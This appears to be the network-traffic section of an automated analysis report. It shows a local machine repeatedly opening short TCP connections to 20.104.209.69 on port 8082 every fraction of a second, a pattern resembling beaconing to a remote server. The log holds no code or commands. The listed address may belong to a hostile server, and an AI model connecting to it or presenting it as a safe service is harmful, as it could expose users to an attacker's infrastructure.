Jan 8, 2023 16:07:59.908617020 CET	49841	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:00.022802114 CET	8082	49841	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:00.042207956 CET	49842	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:00.156496048 CET	8082	49842	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:00.156691074 CET	49842	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:00.157237053 CET	49842	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:00.271234989 CET	8082	49842	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:00.277055025 CET	8082	49842	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:00.277138948 CET	8082	49842	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:00.277282953 CET	49842	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:00.277409077 CET	49842	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:00.278048992 CET	8082	49842	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:00.278193951 CET	49842	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:00.288674116 CET	49842	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:00.403162956 CET	8082	49842	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:00.416414976 CET	49843	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:00.531162977 CET	8082	49843	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:00.531341076 CET	49843	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:00.554404974 CET	49843	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:00.669007063 CET	8082	49843	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:00.673508883 CET	8082	49843	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:00.673568010 CET	8082	49843	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:00.673672915 CET	49843	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:00.673832893 CET	8082	49843	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:00.673885107 CET	49843	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:00.673916101 CET	49843	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:00.682584047 CET	49843	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:00.796785116 CET	8082	49843	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:00.822026014 CET	49844	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:00.936600924 CET	8082	49844	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:00.936954021 CET	49844	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:00.937952042 CET	49844	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:01.052547932 CET	8082	49844	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:01.056633949 CET	8082	49844	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:01.056674004 CET	8082	49844	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:01.056695938 CET	8082	49844	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:01.056879997 CET	49844	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:01.068135023 CET	49844	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:01.182740927 CET	8082	49844	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:01.200299978 CET	49845	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:01.314990044 CET	8082	49845	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:01.315121889 CET	49845	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:01.315726995 CET	49845	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:01.429608107 CET	8082	49845	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:01.434345961 CET	8082	49845	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:01.434381008 CET	8082	49845	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:01.434428930 CET	8082	49845	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:01.444195986 CET	49845	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:01.444195986 CET	49845	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:01.450256109 CET	49845	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:01.564256907 CET	8082	49845	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:01.585403919 CET	49846	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:01.699584007 CET	8082	49846	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:01.699687004 CET	49846	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:01.700321913 CET	49846	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:01.814090967 CET	8082	49846	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:01.818563938 CET	8082	49846	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:01.818591118 CET	8082	49846	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:01.818651915 CET	49846	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:01.818705082 CET	49846	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:01.818873882 CET	8082	49846	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:01.818936110 CET	49846	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:01.828855991 CET	49846	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:01.942986965 CET	8082	49846	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:01.965440989 CET	49847	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:02.079998970 CET	8082	49847	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:02.082603931 CET	49847	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:02.086725950 CET	49847	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:02.201319933 CET	8082	49847	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:02.205845118 CET	8082	49847	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:02.205898046 CET	8082	49847	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:02.205952883 CET	8082	49847	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:02.206007004 CET	49847	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:02.206007004 CET	49847	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:02.206007004 CET	49847	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:02.234066963 CET	49847	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:02.349131107 CET	8082	49847	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:02.367172956 CET	49848	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:02.481623888 CET	8082	49848	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:02.484246969 CET	49848	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:02.484733105 CET	49848	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:02.598453045 CET	8082	49848	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:02.604052067 CET	8082	49848	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:02.604091883 CET	8082	49848	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:02.604136944 CET	8082	49848	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:02.604231119 CET	49848	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:02.604280949 CET	49848	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:02.615603924 CET	49848	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:02.729507923 CET	8082	49848	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:02.766598940 CET	49849	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:02.880837917 CET	8082	49849	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:02.882251024 CET	49849	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:02.882771969 CET	49849	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:02.996752977 CET	8082	49849	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:03.001085043 CET	8082	49849	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:03.001180887 CET	8082	49849	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:03.001220942 CET	49849	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:03.001260042 CET	49849	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:03.001262903 CET	8082	49849	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:03.001347065 CET	49849	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:03.012079000 CET	49849	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:03.126944065 CET	8082	49849	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:03.154505014 CET	49850	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:03.268894911 CET	8082	49850	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:03.269181967 CET	49850	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:03.271384954 CET	49850	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:03.385879993 CET	8082	49850	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:03.389884949 CET	8082	49850	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:03.389931917 CET	8082	49850	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:03.390130997 CET	49850	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:03.390168905 CET	8082	49850	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:03.390281916 CET	49850	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:03.399893045 CET	49850	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:03.514091969 CET	8082	49850	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:03.531536102 CET	49851	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:03.645998955 CET	8082	49851	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:03.646130085 CET	49851	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:03.646610022 CET	49851	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:03.760586977 CET	8082	49851	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:03.765825987 CET	8082	49851	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:03.765856028 CET	8082	49851	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:03.765902042 CET	49851	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:03.765949011 CET	49851	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:03.766168118 CET	8082	49851	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:03.766235113 CET	49851	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:03.773911953 CET	49851	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:03.888106108 CET	8082	49851	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:03.899226904 CET	49852	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:04.013896942 CET	8082	49852	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:04.014252901 CET	49852	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:04.038680077 CET	49852	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:04.153052092 CET	8082	49852	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:04.157315969 CET	8082	49852	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:04.157355070 CET	8082	49852	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:04.157485962 CET	49852	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:04.157502890 CET	8082	49852	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:04.157533884 CET	49852	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:04.157579899 CET	49852	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:04.284914970 CET	49852	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:04.400029898 CET	8082	49852	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:04.421015978 CET	49853	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:04.535450935 CET	8082	49853	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:04.535541058 CET	49853	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:04.536303043 CET	49853	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:04.650717020 CET	8082	49853	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:04.655714035 CET	8082	49853	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:04.655764103 CET	8082	49853	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:04.655833006 CET	49853	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:04.655888081 CET	49853	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:04.655909061 CET	8082	49853	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:04.655975103 CET	49853	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:04.709650040 CET	49853	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:04.825206995 CET	8082	49853	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:05.025763035 CET	49854	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:05.140259027 CET	8082	49854	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:05.140409946 CET	49854	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:05.630098104 CET	49854	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:05.744488955 CET	8082	49854	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:05.749304056 CET	8082	49854	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:05.749365091 CET	8082	49854	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:05.749391079 CET	8082	49854	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:05.749737978 CET	49854	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:05.785455942 CET	49854	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:05.901498079 CET	8082	49854	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:05.917146921 CET	49855	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:06.031759024 CET	8082	49855	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:06.031908035 CET	49855	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:06.033204079 CET	49855	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:06.147363901 CET	8082	49855	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:06.151688099 CET	8082	49855	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:06.151732922 CET	8082	49855	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:06.151751995 CET	8082	49855	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:06.151856899 CET	49855	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:06.151910067 CET	49855	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:06.167157888 CET	49855	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:06.281913042 CET	8082	49855	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:07.661329031 CET	49856	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:07.776199102 CET	8082	49856	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:07.776565075 CET	49856	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:07.781768084 CET	49856	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:07.895731926 CET	8082	49856	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:07.899991989 CET	8082	49856	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:07.900043964 CET	8082	49856	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:07.900072098 CET	49856	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:07.900115013 CET	49856	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:07.900309086 CET	8082	49856	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:07.900362968 CET	49856	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:07.908937931 CET	49856	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:08.023104906 CET	8082	49856	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:08.043067932 CET	49857	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:08.157480955 CET	8082	49857	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:08.157619953 CET	49857	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:08.158866882 CET	49857	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:08.272821903 CET	8082	49857	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:08.277036905 CET	8082	49857	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:08.277067900 CET	8082	49857	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:08.277085066 CET	8082	49857	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:08.277154922 CET	49857	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:08.277297020 CET	49857	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:08.295829058 CET	49857	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:08.409962893 CET	8082	49857	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:08.428286076 CET	49858	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:08.542798996 CET	8082	49858	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:08.543100119 CET	49858	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:08.544028997 CET	49858	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:08.657916069 CET	8082	49858	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:08.661688089 CET	8082	49858	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:08.661744118 CET	8082	49858	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:08.661848068 CET	49858	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:08.661892891 CET	49858	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:08.661967993 CET	8082	49858	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:08.662026882 CET	49858	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:08.674236059 CET	49858	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:08.788697004 CET	8082	49858	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:08.807998896 CET	49859	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:08.922374964 CET	8082	49859	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:08.922565937 CET	49859	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:08.923067093 CET	49859	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:09.037270069 CET	8082	49859	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:09.042417049 CET	8082	49859	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:09.042454958 CET	8082	49859	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:09.042470932 CET	8082	49859	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:09.042578936 CET	49859	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:09.042635918 CET	49859	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:09.060056925 CET	49859	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:09.174458981 CET	8082	49859	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:09.196526051 CET	49860	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:09.310924053 CET	8082	49860	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:09.311109066 CET	49860	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:09.311758041 CET	49860	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:09.425649881 CET	8082	49860	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:09.430367947 CET	8082	49860	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:09.430404902 CET	8082	49860	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:09.430423975 CET	8082	49860	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:09.430617094 CET	49860	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:09.441262007 CET	49860	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:09.555457115 CET	8082	49860	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:09.579606056 CET	49861	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:09.693942070 CET	8082	49861	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:09.694257021 CET	49861	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:09.694988012 CET	49861	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:09.808898926 CET	8082	49861	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:09.813163042 CET	8082	49861	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:09.813203096 CET	8082	49861	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:09.813345909 CET	49861	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:09.813373089 CET	49861	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:09.813957930 CET	8082	49861	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:09.814023972 CET	49861	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:09.824292898 CET	49861	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:09.938374996 CET	8082	49861	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:09.982070923 CET	49862	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:10.096949100 CET	8082	49862	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:10.097176075 CET	49862	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:10.098138094 CET	49862	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:10.212043047 CET	8082	49862	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:10.217016935 CET	8082	49862	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:10.217055082 CET	8082	49862	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:10.217073917 CET	8082	49862	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:10.217191935 CET	49862	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:10.219311953 CET	49862	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:10.226186037 CET	49862	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:10.340445995 CET	8082	49862	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:10.357284069 CET	49863	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:10.472790003 CET	8082	49863	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:10.473316908 CET	49863	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:10.474773884 CET	49863	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:10.589152098 CET	8082	49863	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:10.592973948 CET	8082	49863	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:10.593008041 CET	8082	49863	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:10.593029976 CET	8082	49863	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:10.593063116 CET	49863	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:10.593063116 CET	49863	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:10.593118906 CET	49863	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:10.604629040 CET	49863	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:10.718941927 CET	8082	49863	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:10.741925001 CET	49864	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:10.856570959 CET	8082	49864	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:10.856738091 CET	49864	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:10.858711004 CET	49864	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:10.972666979 CET	8082	49864	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:10.977116108 CET	8082	49864	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:10.977153063 CET	8082	49864	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:10.977173090 CET	8082	49864	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:10.977194071 CET	49864	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:10.977229118 CET	49864	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:10.977229118 CET	49864	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:10.988100052 CET	49864	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:11.102463007 CET	8082	49864	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:11.119185925 CET	49865	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:11.233679056 CET	8082	49865	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:11.238898993 CET	49865	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:11.241714001 CET	49865	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:11.356642008 CET	8082	49865	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:11.359230042 CET	8082	49865	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:11.359280109 CET	8082	49865	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:11.359313965 CET	8082	49865	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:11.359357119 CET	49865	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:11.359462023 CET	49865	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:11.373105049 CET	49865	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:11.487464905 CET	8082	49865	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:11.508002043 CET	49866	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:11.622419119 CET	8082	49866	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:11.622983932 CET	49866	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:11.624924898 CET	49866	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:11.739144087 CET	8082	49866	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:11.743307114 CET	8082	49866	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:11.743340969 CET	8082	49866	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:11.743356943 CET	8082	49866	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:11.743628979 CET	49866	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:11.760821104 CET	49866	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:11.874788046 CET	8082	49866	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:11.919271946 CET	49867	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:12.033751965 CET	8082	49867	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:12.037394047 CET	49867	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:12.037856102 CET	49867	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:12.151761055 CET	8082	49867	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:12.156272888 CET	8082	49867	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:12.156420946 CET	8082	49867	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:12.156446934 CET	8082	49867	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:12.156563044 CET	49867	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:12.156599045 CET	49867	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:12.170360088 CET	49867	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:12.285943031 CET	8082	49867	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:12.308573961 CET	49868	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:12.424349070 CET	8082	49868	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:12.425853014 CET	49868	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:12.426503897 CET	49868	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:12.540299892 CET	8082	49868	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:12.544842958 CET	8082	49868	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:12.544883013 CET	8082	49868	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:12.545008898 CET	49868	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:12.545042992 CET	8082	49868	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:12.547095060 CET	49868	8082	192.168.2.6	20.104.209.69
